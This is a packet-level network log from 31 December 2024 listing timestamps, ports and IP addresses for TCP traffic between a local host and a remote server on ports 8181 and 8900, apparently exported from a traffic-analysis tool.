Dec 31, 2024 07:33:03.292355061 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292360067 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292370081 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292378902 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292383909 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292390108 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292402029 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292419910 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292422056 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292435884 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292445898 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292455912 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292468071 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292476892 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292480946 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292489052 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292504072 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292512894 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292515039 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292525053 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292535067 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292545080 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292551041 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292555094 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292587042 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292764902 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292781115 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292790890 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292800903 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292802095 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292814970 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292824030 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292826891 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292834044 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292845011 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292855024 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292865038 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292876005 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.292887926 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292905092 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292905092 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.292927980 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.311537981 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.311548948 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.311558008 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.311592102 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.311597109 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.311603069 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.311619997 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.311630011 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.311640024 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.311656952 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.311686039 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325154066 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325176001 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325186968 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325242043 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325252056 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325263977 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325265884 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325274944 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325284958 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325294971 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325303078 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325314999 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325324059 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325331926 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325351954 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325372934 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325382948 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325392962 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325403929 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325414896 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325414896 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325426102 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325433969 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325458050 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325469017 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325469971 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325480938 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325490952 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325495958 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325501919 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.325527906 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325552940 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.325583935 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.370814085 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.370831966 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.370841026 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.370906115 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.370913982 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.370923042 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.370932102 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.370979071 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.370979071 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.370979071 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.371318102 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.374505043 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.374537945 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.374548912 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.374557972 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.374581099 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.374593019 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.374599934 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.374633074 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.374641895 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.374646902 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.374708891 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378029108 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378036976 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378046036 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378076077 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378086090 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378086090 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378096104 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378118038 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378122091 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378144026 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378148079 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378190041 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378194094 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378204107 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378211975 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378235102 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378251076 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378264904 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378273964 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378282070 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378290892 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378295898 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378314018 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378333092 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378341913 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378364086 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378382921 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378403902 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378454924 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378494024 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378501892 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378504038 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378513098 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378537893 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378608942 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378624916 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378654003 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378676891 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378686905 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378717899 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378719091 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378756046 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378758907 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378792048 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378801107 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378838062 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378943920 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378953934 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378962040 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378969908 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378981113 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378988981 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.378993988 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.378998041 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379010916 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379019976 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379024029 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379029036 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379038095 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379041910 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379046917 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379055977 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379065037 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379070997 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379085064 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379092932 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379096031 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379098892 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379103899 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379107952 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379167080 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379275084 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379283905 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379290104 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379297972 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379302979 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379307032 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379317045 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379328012 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379332066 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379336119 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379340887 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379345894 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379374027 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379386902 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379410028 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379420042 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379429102 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379451036 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379463911 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379549980 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379559040 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379568100 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379576921 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379586935 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379590988 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379595995 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379606009 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379615068 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.379627943 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.379647017 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.398422956 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.398435116 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.398443937 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.398452044 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.398461103 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.398469925 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.398482084 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.398490906 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.398598909 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.398598909 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.398598909 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.412251949 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412278891 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412287951 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412300110 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412308931 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412317991 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412333012 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412342072 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412352085 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412362099 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412375927 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412384033 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412391901 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412400961 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412410021 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412417889 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412425995 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412435055 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412445068 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412453890 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412462950 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.412491083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.412491083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.412491083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.412491083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.412491083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.412491083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.412491083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.412491083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.457743883 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.457756042 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.457765102 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.457773924 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.457783937 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.457792997 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.457803011 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.457927942 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.457927942 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.464610100 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.464694977 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.828360081 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.833321095 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.833616018 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.833720922 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.833810091 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.833869934 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.833933115 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:03.838485956 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.838535070 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.838771105 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:03.838782072 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.517960072 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.523140907 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.523140907 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.523140907 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.523732901 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.528059959 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.528072119 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.528081894 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.528485060 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.796565056 CET	49706	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.801417112 CET	8900	49706	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.801481962 CET	49706	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.802221060 CET	49706	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.807059050 CET	8900	49706	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.889858961 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.893091917 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.893143892 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.893202066 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.893260956 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:04.897953987 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.897963047 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.898070097 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:04.898077965 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:05.397989988 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:05.441313982 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:05.545919895 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:05.545978069 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:05.546029091 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:05.546063900 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:05.550815105 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:05.550827026 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:05.550951004 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:05.550959110 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:05.917752028 CET	8181	49705	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:05.972556114 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:06.070503950 CET	49705	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:07.476120949 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:07.476206064 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:07.476278067 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:07.481093884 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:09.800862074 CET	49706	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:10.060269117 CET	8900	49706	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:13.833169937 CET	49707	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:13.838136911 CET	8900	49707	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:13.838259935 CET	49707	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:13.838339090 CET	49707	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:13.843178988 CET	8900	49707	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:18.832066059 CET	49707	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:18.884252071 CET	8900	49707	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:22.848705053 CET	49720	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:22.853519917 CET	8900	49720	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:22.853580952 CET	49720	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:22.853751898 CET	49720	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:22.858467102 CET	8900	49720	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:26.161586046 CET	8900	49706	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:26.161670923 CET	49706	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:27.863244057 CET	49720	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:27.908355951 CET	8900	49720	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:31.887891054 CET	49781	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:31.892704964 CET	8900	49781	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:31.892765999 CET	49781	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:31.892911911 CET	49781	8900	192.168.2.5	5.89.185.156
